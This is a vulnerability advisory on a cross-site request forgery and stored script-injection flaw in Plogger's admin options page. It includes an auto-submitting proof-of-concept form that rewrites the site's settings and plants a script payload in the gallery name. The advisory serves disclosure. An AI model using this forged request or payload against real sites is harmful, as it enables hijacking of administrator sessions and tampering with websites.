Cross-site Request Forgery (CSRF) in Plogger

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Plogger which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerability in Plogger
The vulnerability exists due to insufficient validation of the request origin in plog-admin/plog-options.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify website settings. Due to insufficient sanitation of input data in the "gallery_name" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/plog-admin/plog-options.php" method="post">
<input type="hidden" name="gallery_name" value='my gallery"><script>alert(document.cookie)</script>'>
<input type="hidden" name="gallery_url" value="http://host/">
<input type="hidden" name="admin_username" value="AdminName">
<input type="hidden" name="admin_email" value="example@example.com">
<input type="hidden" name="admin_password" value="">
<input type="hidden" name="confirm_admin_password" value="">
<input type="submit" id="btn" name="submit" value="Update Options">
</form>
<script>
document.getElementById('btn').click();
</scr ipt>
